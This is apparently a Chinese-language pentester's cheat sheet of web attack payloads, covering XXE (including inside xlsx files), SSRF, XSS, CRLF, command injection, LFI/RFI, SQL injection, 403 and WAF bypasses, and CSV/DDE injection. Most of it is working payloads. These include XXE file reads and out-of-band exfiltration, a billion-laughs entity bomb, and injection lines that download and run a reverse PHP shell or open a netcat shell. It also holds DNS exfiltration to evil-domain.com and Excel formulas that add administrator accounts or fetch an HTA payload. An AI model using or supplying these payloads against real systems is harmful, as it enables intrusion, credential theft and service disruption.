黑盒知识梳理
xxe-- hacking wite excel变种版
现在excel本质上就是一个包含xml文档的压缩文件,和docx,ppt一样,这就可以被称之为OOxml,即 office open xml
所以这有什么问题呢,就是说当我们要在某个地方允许上传这种ooxml的时候,如果没有安全配置器,那么这个存在xxe是必然的
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir xml && cd xml
┌──(kali㉿kali)-[~/Desktop/xml]
└─$ unzip ../0.xlsx
Archive: ../0.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: docProps/app.xml
extracting: [trash]/0000.dat
inflating: xl/_rels/workbook.xml.rels
inflating: xl/styles.xml
inflating: xl/theme/theme1.xml
inflating: xl/workbook.xml
inflating: xl/worksheets/sheet1.xml
inflating: docProps/core.xml
创建一个崭新的excel,虽然你可能在里面键入一些文本,但这是无关紧要的,
要使用的攻击文件也会因为所使用的库而有所不同。大部分解析工作通常是从xl/workbook.xml开始的,这个文件包含了所有的工作表的信息,包括工作表的名称和位置。
各种工作表也可以在xl/worksheets目录下找到,这里的文件包含了工作表的内容,这些内容是以xml格式存储的。
所以我认为可以在这个文件中下功夫
--2025-1-7补充
其实后面我看了看别人的,不一定非要在workbook.xml,解压后的[Content_Types].xml也是可以下手
看了看佬的
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "dnslog的地址或者说你监听的地址/"> ]>
<x>&xxe;</x>
然后压缩为xslx上传
可以看看这篇 xxe-excel
ssrf-in-pdf
如果你访问的某个网站存在下列功能之一,那就可能存在ssrf了
打印pdf报告
生成报告文件
提交数字签名
····
因为都会生成pdf形式的文件,而里面的pdf解析器/js会获取其中数据并将其添加到网页页面中,
IDOR
简单来说就是比如
https://insecure-website.com/customer_account?customer_number=132355
这个后面的132355就是idor,我们只需要更改后面的customer_number就可以绕过访问控制查看其它客户的记录
payload
xss
<svg onload=alert(document.cookie)>
<svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
<details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>
xxe
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>∾</result></foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>
File stored on http://publicServer.com/parameterEntity_sendftp.dtd
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
ssrf
http://0177.1/
http://127.000.000.1
http://0x7f.1/
如果是其他什么地址,可以用http://www.subnetmask.info/ 计算
伪协议
gopher://,
dict://,
php://,
jar://,
tftp://
通配符
xip.io是一个提供通配符DNS解析的服务,它将域名中的IP地址部分解析为实际的IP地址
nip.io也是
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
AWS EC2 元数据(一种信息泄露
http://x.x.x.x/latest/meta-data/
http://x.x.x.x/latest/user-data/local-hostname
http://x.x.x.x/latest/user-data/public-hostname
LFI
../\
..\/
/..
\/..
/%5c..
rce
Werkzeug 调试器
strіng
i'''d
i"""d
\l\s -l\a\h
cat /e?c/p?ss??
cat /e??/??ss*
{ls,}
{ls,-a}
壳震漏洞
() { :;}; echo vulnerable
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
打开重定向
/%09/google.com
/%5cgoogle.com
//www.google.com/%2f%2e%2e
//www.google.com/%2e%2e
//google.com/
//google.com/%2f..
//\google.com
/\victim.com:80%40google.com
?url=http://{target}
?url=https://{target}
?next=http://{target}
?next=https://{target}
?url=https://{target}
?url=http://{target}
?url=//{target}
?url=$2f%2f{target}
?next=//{target}
?next=$2f%2f{target}
?url=//{target}
?url=$2f%2f{target}
?url=//{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
/out?{target}
/out?/{target}
/out?//{target}
/out?/\{target}
/out?///{target}
?view={target}
?view=/{target}
?view=//{target}
?view=/\{target}
?view=///{target}
/login?to={target}
/login?to=/{target}
/login?to=//{target}
/login?to=/\{target}
/login?to=///{target}
nuclei 使用
# 显示帮助信息
nuclei -h
# 显示 Nuclei 的当前版本
nuclei -version
# 从文件中加载目标列表
nuclei -l targets.txt -t ~/nuclei-templates/
# 指定单个目标进行测试
nuclei -t https://example.com -t ~/nuclei-templates/
# 以静默模式运行 Nuclei(抑制输出)
nuclei -u https://example.com -t ~/nuclei-templates/
# 指定使用的并发线程数
nuclei -silent -t https://example.com -t ~/nuclei-templates/
# 跳过需要身份验证的模板
nuclei -c 10 -t https://example.com -t ~/nuclei-templates/
# 自定义 Nuclei 报告的输出格式
nuclei -no-verify -t https://example.com -t ~/nuclei-templates/
# 忽略 SSL 证书错误
nuclei -o output.txt -t https://example.com -t ~/nuclei-templates/
# 指定自定义 HTTP 头包含在请求中
nuclei -insecure -t https://example.com -t ~/nuclei-templates/
# 指定自定义用户代理字符串包含在请求中
nuclei -headers "Authorization: Bearer TOKEN" -t https://example.com -t ~/nuclei-templates/
nuclei -user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -t https://example.com -t ~/nuclei-templates/
重定向
额,应该叫开放式重定向
怎么说呢,就是让页面跳转到攻击的页面,比方说
https://vulnerable-website.com/redirect?url=https://malicious-website.com
https://vulnerable-website.com/profile?redirect_uri=https://malicious-website.com
这就是重定向
?redirect_url=
?next=
?continue=
?goto=
?return_Url=
?destination=
?fromURI=
?redirect=
?go=
?from=
?return=
?rurl=
?checkout_url=
redirect
redirect_to
redirect_url
redirectUrl
callback
toUrl
fromUrl
request
oauth_callback
url
go
jump
jump_to
target
service
to
returnUrl
goTo
link
linkto
domain
return
locationUrl
r_url
如果是黑盒可以考虑open-redirect
白盒的话可以参考
response.sendRedirect(request.getParameter("url"));
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
string url = request.QueryString["url"];
Response.Redirect(url);
redirect_to params[:url]
redirect_url = request.GET.get("url")HttpResponseRedirect(redirect_url)
redirect\_url = request.form\['url'\] redirect(redirect\_url)
绕过方法的话请参考这篇URL重定向漏洞解析 ,师傅写的很详细了
csrf
有点像,木偶戏?简单来说就是你在一个已经进行过身份认证的人的浏览器(也不只是有浏览器),执行某些攻击者不必要的操作
csrf攻击类型
基于GET请求的CSRF攻击
恶意请求通过GET类型发送,通常是镶嵌在连接或者图片链接中
基于POST请求的CSRF攻击
恶意请求通过POST类型发送,通常是镶嵌在表单或者js代码中
一个POST的攻击载荷
<img src="https://vulnerable-website.com/transfer?amount=1000&recipient=attacker" width="0" height="0">
<form action="https://vulnerable-website.com/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="submit" value="Click me!">
</form>
Cookie 只是一个保存在本地浏览器中的 4KB 文件,用于存储用户独有的信息,如偏好设置、会话 ID 和购物车中的商品,然后服务器会检索这些信息.
cors跨源资源共享
CORS:全称跨域资源共享(Cross-Origin Resource Sharing)
漏洞原理
cors可分为两类:简单请求和非简单请求
简单请求:请求方法是GET、HEAD、POST中的一种,且HTTP头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type
非简单请求:请求方法是PUT、DELETE、CONNECT、OPTIONS、TRACE、PATCH,或者Content-Type字段的值不是application/x-www-form-urlencoded、multipart/form-data、text/plain
当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应里增添三个字段:
Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Expose-Headers
其中 Access-Control-Allow-Origin是必须有的,Access-Control-Allow-Origin字段代表允许哪个域访问。当字段值为*时,就代表任意域都可以访问,这样,就导致了Cors漏洞的产生
上面是我访问bili的,他明确规定了Access-Control-Allow-Origin为https://www.bilibili.com
crlf
CRLF注入是一种利用应用程序中的CRLF(回车换行)字符来执行恶意操作的攻击。
CRLF实际上是由CR和LF两个字符拼接而成,他们分别表示回车("\r")/换行("\n"),十六进制表示为0x0d和0x0a
ASCII表示为13/10
像是这样,我的想法是注入一下Set-Cookie:crlf=true,所以我在里面%0d%0aSet-Cookie:crlf=true,这样如果成了的话就可以在响应头里看到Set-Cookie:crlf=true

但是这个并没有成功,o(╥﹏╥)o
这玩意看着没什么危害,但是试想一下,如果我在后面添一个xss,像是这样
%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>0
这样的话,如果有人访问这个页面,就会弹出xss
🔹 /%%0a0aSet-Cooke:crlf
🔹 /%0aSet-Cooke:crlf
🔹 /%0d%0aSet-Cooke:crlf
🔹 /%0dSet-Cooke:crlf
🔹 /%23%0aSet-Cooke:crlf
🔹 /%23%0d%0aSet-Cooke:crlf
🔹 /%23%0dSet-Cooke:crlf
🔹 /%25%30%61Set-Cooke:crlf
🔹 /%25%30aSet-Cooke:crlf
🔹 /%250aSet-Cooke:crlf
🔹 /%25250aSet-Cooke:crlf
🔹 /%2e%2e%2f%0d%0aSet-Cooke:crlf
🔹 /%2f%2e%2e%0d%0aSet-Cooke:crlf
🔹 /%2F%0d%0aSet-Cooke:crlf
🔹 /%3f%0d%0aSet-Cooke:crlf
🔹 /%3f%0dSet-Cooke:crlf
🔹 /%u000aSet-Cooke:crlf
🔹 /%E5%98%8D%E5%98%8ASet-Cooke:crlf
xss
三种XSS
反射型XSS 工作原理:恶意脚本从网站服务器反射回用户。这种情况通常发生在用户输入未经过适当消毒或编码就包含在响应中的情况下。
○ 示例:搜索栏在结果页面显示搜索查询时未对特殊字符进行编码。攻击者可在搜索查询中注入脚本,然后在受害者查看结果时在其浏览器中执行该脚本。存储型XSS 工作原理:恶意脚本存储在网站服务器上,每次加载受影响页面时都会执行。这种情况可能发生在评论区、论坛或其他存储用户生成内容的区域。
○ 示例:包含脚本的博客评论。每次有人浏览该评论时,脚本就会在其浏览器中执行dom型xss 工作原理:恶意脚本是通过修改页面的文档对象模型 (DOM) 而执行的。当用户输入被用于动态更新页面内容而未进行适当消毒时,就会发生这种情况。
○ 示例:一个使用 JavaScript 根据用户输入更新 URL 的网站。攻击者可在 URL 中注入脚本,然后在 JavaScript 代码运行时执行该脚本
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')
document.url
document.documentURI
document.URLUnencoded
document.baseURI
document.referrer
location
location.href
loaction.search
location.hash
location.pathname
window.cookie
window.referrer
window.name
element.innerHTML()
element.outerHTML()
eval()
setTimeout()
setInterval()
documemt.write()
document.writeln()
绕waf的xss
CloudFlare WAF
<svg onload=alert(document.cookie)>
<svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
<details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>
指令注入
首先是常见的连接符
&
;
Newline (0x0a or \n)
&&
|
||
试例
x.x.x.x||ping+-c+10+127.0.0.1||
x.x.x.x||whoami>/var/www/images/output.txt||
x.x.x.x||nslookup+burp.collaborator.address||
x.x.x.x||nslookup+`whoami`.burp.collaborator.address||
常见参数
cmd
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print
常见命令
whoami
ifconfig
ls
uname -a
常见命令视窗
whoami
ipconfig
dir
ver
抓取密码
cat /etc/passwd
cat /e”t”c/pa”s”swd
cat /’e’tc/pa’s’ swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et’ ‘c/passw’ ‘d
cat /et$()c/pa$()$swd
{cat,/etc/passwd}
cat /???/?????d
绕过waf
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
lfi-rfi 文件包含
如何识别lfi
- 参数篡改: 查找包含 page=、file=、doc= 等参数的 URL。这些通常就是漏洞所在.
- 目录遍历: 尝试在参数值中添加 ../ (点斜线)。这将尝试向上浏览文件系统。如果看到不同的内容或错误,你可能发现了一些问题.
- 空字节注入: 在文件路径末尾添加空字节 (%00)。有些系统会在空字节后停止处理,从而有可能绕过过滤器。
- 日志文件中毒: 如果能在日志文件中注入代码,就有可能通过 LFI 触发它。这是一种更高级的技术
思路

LFI全名实际上是Load File Inclusion,即本地文件包含漏洞
所以比较常见的就是..\etc\passwd
like this
<?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
$_GET['page'];这个就是我们可以注入的地方,页面通过提取URL查询page参数的值,
str_replace( array( "http://", "https://" ), "", $file );删除了http和https
str_replace( array( "../", "..\"" ), "", $file );删除了../和.."
所以综上,我们可以用这个`..././..././..././..././..././
而RFI全名实际上是Remote File Inclusion,即远程文件包含漏洞
所以一般都是带IP的恶意文件
在reverse shell generator下载反向链接脚本,并连接
xxe --just xxe
我就说一句,在线测试工具和发包格式
http://ceye.io/
http://www.dnslog.cn/
https://dnslog.io/
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]>
# or
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://127.0.0.1:80">
]>
<r>&sp;</r>
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<r>&sp;</r>
# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>9011</rspCode><rspDesc><![CDATA[请求报文头部不能为空]]></rspDesc><digitalSign /><rspTime>2020-04-09 16:58:34.877</rspTime></header><body></body></response>
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts1">
]>
<r>&sp;</r>
# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>7000</rspCode><rspDesc><![CDATA[接口程序执行错误]]></rspDesc><digitalSign /><rspTime>2020-04-09 17:01:08.121</rspTime></header><body></body></response>
-->XXE漏洞的利用
sqli --绕不过的
报错注入,联合注入,盲注....
经典 SQLI
基于错误的 SQLi:
输入:' OR 1=1 -- (单引号后加 OR 1=1 和注释)
预期结果:显示 SQL 语法或表/列名称的数据库错误信息。
为什么有效?OR 1=1 条件始终为真,导致查询返回所有行,注释 (--) 实际上忽略了原始查询的其余部分。
基于联合的 SQLi:
输入:' UNION SELECT username, password FROM users --
预期结果:如果存在漏洞,应用程序将从 "users "表中返回用户名和密码以及原始查询结果。
为什么有效UNION 运算符结合了两个 SELECT 语句的结果,允许攻击者从其他表中检索数据
盲 SQLi
基于布尔的 SQLi:
输入: ' AND 1=1 -- (真条件)
预期结果:应用程序的响应应与正常请求相同。
输入: ' AND 1=2 -- (错误条件)
预期结果:应用程序的响应应不同于正常请求。
为什么有效:攻击者可以通过观察应用程序的响应如何随注入条件的变化而变化来推断数据库的信息
基于时间的 SQLi:
输入: ' AND SLEEP(5) -- (休眠 5 秒钟)
预期结果:如果注入成功,应用程序的响应将延迟 5 秒。
○ 为何有效:SLEEP 功能会使数据库在指定时间内暂停,攻击者可以通过观察响应时间来推断注入是否有效。
外部 SQLI
基于 DNS 的渗透:
输入: ' UNION SELECT LOAD_FILE(concat('\\\\',@@version,'.evil-domain.com\\abc'))--
----> [python脚本/sqli]自己写的测试小脚本
ssrf
ssrf分为五类,分别是
- 基本 SSRF: 攻击者可以访问互联网上任何可公开访问的资源。
- 盲人 SSRF: 攻击者无法看到服务器端请求的响应,但仍可根据应用程序的行为推断信息。
- 带身份验证旁路的 SSRF: 攻击者可以绕过身份验证机制访问受限资源。
- SSRF 到 Localhost: 攻击者可以访问与网络应用程序运行在同一服务器上的服务。
- SSRF 到云元数据端点: 攻击者可访问存储在云元数据服务中的敏感信息
tools:ffuf/Kiterunner/SSRFmap
可以看看这个师傅的,很详细的描述了ssrf实例和绕过手法
不过这个我也是第一次见完整的
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
看不懂的话可以看这个详解DNS重绑定攻击
rce
当攻击者诱使网络应用程序或系统执行他们提供的代码时,就会出现 RCE 漏洞。这些代码可以是简单的命令,也可以是复杂的脚本,可用于执行各种恶意活动
RCE危害
目标系统执行攻击者的有效载荷,允许攻击者运行其代码,并有可能获得系统的控制权 攻击者的收益:攻击者现在可以执行各种操作,例如 窃取敏感数据 安装恶意软件 修改系统文件 发动进一步攻击
RCE类型
- 命令注入:攻击者可将操作系统命令注入网络应用程序的输入中
- 代码注入:代码注入:攻击者将代码注入网络应用程序的输入,然后由应用程序的解释器(如 PHP、Python、Java)执行
- 反序列化漏洞:当序列化数据被应用程序反序列化时,攻击者可以操纵序列化数据执行任意代码
- 文件上传漏洞:攻击者可将恶意文件上传到网络应用程序,然后在服务器上执行该文件
(原来文件上传和反序列化也算rce么)
简单的rce载荷
; whoami
$(whoami)
| whoami
|| whoami
&& whoami
顺便一提 SSTI模板注入

图片来源-->JKding233师傅
墙裂推荐上面那篇,师傅很详细的列举了多种模板的SSTI
403-bypass
404是not found,403是forbidden,也就是禁止访问
比较常见的绕过就是
- 换请求方法,换成
GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK - 绕过Ip限制
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
- url绕过
通过使用
X-Original-URL头部,或者X-Rewrite-URL等覆盖原来请求URL的路径
GET / HTTP/1.1
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Host: www.abc.com
Host: 192.168.126.6
- 路径fuzz,比如
/admin/改成/admin或者/admin/./等等
abc.com/admin => 403
abc.com/admin/ => 200
abc.com/admin// => 200
abc.com//admin// => 200
abc.com/admin/* => 200
abc.com/admin/*/ => 200
abc.com/admin/. => 200
abc.com/admin/./ => 200
abc.com/./admin/./ => 200
abc.com/admin/./. => 200
abc.com/admin/./. => 200
abc.com/admin? => 200
abc.com/admin?? => 200
abc.com/admin??? => 200
abc.com/admin…;/ => 200
abc.com/admin/…;/ => 200
abc.com/%2f/admin => 200
abc.com/%2e/admin => 200
abc.com/admin%20/ => 200
abc.com/admin%09/ => 200
abc.com/%20admin%20/ => 200
其他的fuzz-dicts
waf-bypass
🤔 🤔 🤔 🤔 🤔 🤔
tools:wafw00f/BYPASSwaf/
绕过手法:
- 1.大小写绕过 像是这样
基本要求:
<script>confirm()</script>
旁路技术:
<ScrIpT>confirm()</sCRiPt>
基本要求:
SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'
旁路技术:
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
- URL编码
被 WAF 屏蔽:
<Svg/x=">"/OnLoAD=confirm()//
旁路技术:
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
被 WAF 屏蔽:
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
旁路技术:
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
- ASCII编码
基本要求:
<marquee onstart=prompt()>
混淆视听:
<marquee onstart=\u0070r\u06f\u006dpt()>
被 WAF 屏蔽:
/?redir=http://google.com
旁路技术:
/?redir=http://google。com (Unicode alternative)
被 WAF 屏蔽:
<marquee loop=1 onfinish=alert()>x
旁路技术:
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
基本要求:
../../etc/shadow
混淆视听:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
- HTML编码
基本要求:
"><img src=x onerror=confirm()>
编码有效载荷:
"><img src=x onerror=confirm()>
编码有效载荷:
"><img src=x onerror=confirm()>
- 混合编码
- 添加注释
被 WAF 屏蔽:
<script>confirm()</script>
旁路技术:
<!--><script>confirm/**/()/**/</script>
被 WAF 屏蔽:
/?id=1+union+select+1,2--
旁路技术:
/?id=1+un/**/ion+sel/**/ect+1,2--
- 双重编码
基本要求:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
混淆有效载荷
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
基本要求:
<script>confirm()</script>
混淆有效载荷
%253Cscript%253Econfirm()%253C%252Fscript%253E
- 通配符混淆
基本要求:
/bin/cat /etc/passwd
混淆有效载荷
/???/??t /???/??ss??
使用过的字符
/ ? t s
基本要求:
/bin/nc 127.0.0.1 443
混淆有效载荷
/???/n? 2130706433 443
使用过的字符
/ ? n [0-9]
基本要求:
<script>confirm()</script>
混淆有效载荷
<script>eval('con'+'fi'+'rm()')</script>
基本要求:
/bin/cat /etc/shadow
混淆有效载荷
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Bash 允许执行路径连接
基本要求:
<iframe/onload='this["src"]="javascript:confirm()"';>
混淆有效载荷
<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:con"+"fir"+"m()"';>
- 垃圾字符
基本要求:
<script>confirm()</script>
混淆有效载荷
<script>+-+-1-+-+confirm()</script>
基本要求:
<BODY onload=confirm()>
混淆有效载荷
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
基本要求:
<a href=javascript;alert()>ClickMe
旁路技术:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
- 中断换行
基本要求:
<iframe src=javascript:confirm(hacker)">
混淆有效载荷
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
- 未初始化变量
使用未初始化的 bash 变量来规避基于正则表达式的错误过滤器。
这种值等于 null,作用类似于空字符串。
一级混淆:正常
基本要求:
● /bin/cat /etc/shadow
混淆有效载荷
● /bin/cat$u /etc/shadow$u
第二层混淆:基于位置
基本要求:
● /bin/cat /etc/shadow
混淆有效载荷
● $u/bin$u/cat$u $u/etc$u/shadow$u
第三级混淆:随机字符
基本要求:
● /bin/cat /etc/passwd
混淆有效载荷
● $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
- 制表符和换行
基本要求:
<IMG SRC="javascript:confirm();">
旁路技术:
<IMG SRC=" javascript:confirm();">
变体:
<IMG SRC=" jav ascri pt:confirm ();">
基本要求:
http://test.com/test?id=1 union select 1,2,3
旁路技术:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
基本要求:
<iframe src=javascript:confirm()></iframe>
混淆有效载荷
<iframe src=j	a	v	a	s	c	r	i	p	t	:c	o	n	f	i	r	m	%28	%29></iframe>
新学的-csv注入
原理:
- excel工作原理:excel的一个特性:单元格中的第一个字符是“+、-、@、=”这样的符号时,他会以一个表达式的形式被处理
- DDE。动态数据交换(DDE),是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。
比如说你在里面搞一个=1+cmd|'/C calc'!A0,按理说应该会弹计算器,但是win11已经知道这个并给他搞出去了

看了眼人家成功时是2023.3,难怪了
利用方式
- 添加用户:
=cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0 - 修改注册表:
=cmd|'/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d "calc.exe" /f'!A0 - 反弹shell:可以和msf结合起来,msf这边
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129
msf exploit(windows/misc/hta_server) > exploit
excel添加载荷
+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta
'!A0
- 信息泄露:
=HYPERLINK("https://attack.com?data="&A1,"click me") - 网络钓鱼:
=HYPERLINK("https://attack.com?data="&A1,"click me")
或者是控制浏览器访问钓鱼网站=1+cmd|'/C "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0
绕过方式:
在等于号被过滤时,可以通过运算符+-的方式绕过;
-1+1+cmd |’ /C calc’ !A0
参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:
%0A-1+1+cmd|' /C calc'!A0
导出文件为 csv 时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行:
;-3+3+cmd|' /C calc'!D2
其他常用 Payload:
@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://attact.com")
防御思路
单元格不以特殊字符开头:+,-,@,=
禁止导出CSV,XLS格式文件
黑名单过滤=(-)cmd或=(-)HYPERLINK或=(-)concat等
还有,在大部分情况下都会弹出Microsoft Office安全提示,只要不点“是”就行了,所以对于平时常规文件的传递中,要尽量为员工做好相关的安全意识培训来做相关的防范。
XSLT注入
SLT (Extensible Stylesheet Language Transformations) 是一种转换语言,主要是将一种XML文档转换为另外一种XML文档,或者其他格式的文档,例如:HTML和文本等。XSLT 使用 XPath 在 XML 文档中查找信息。XPath 被用来通过元素和属性在 XML 文档中进行导航。
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
<xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
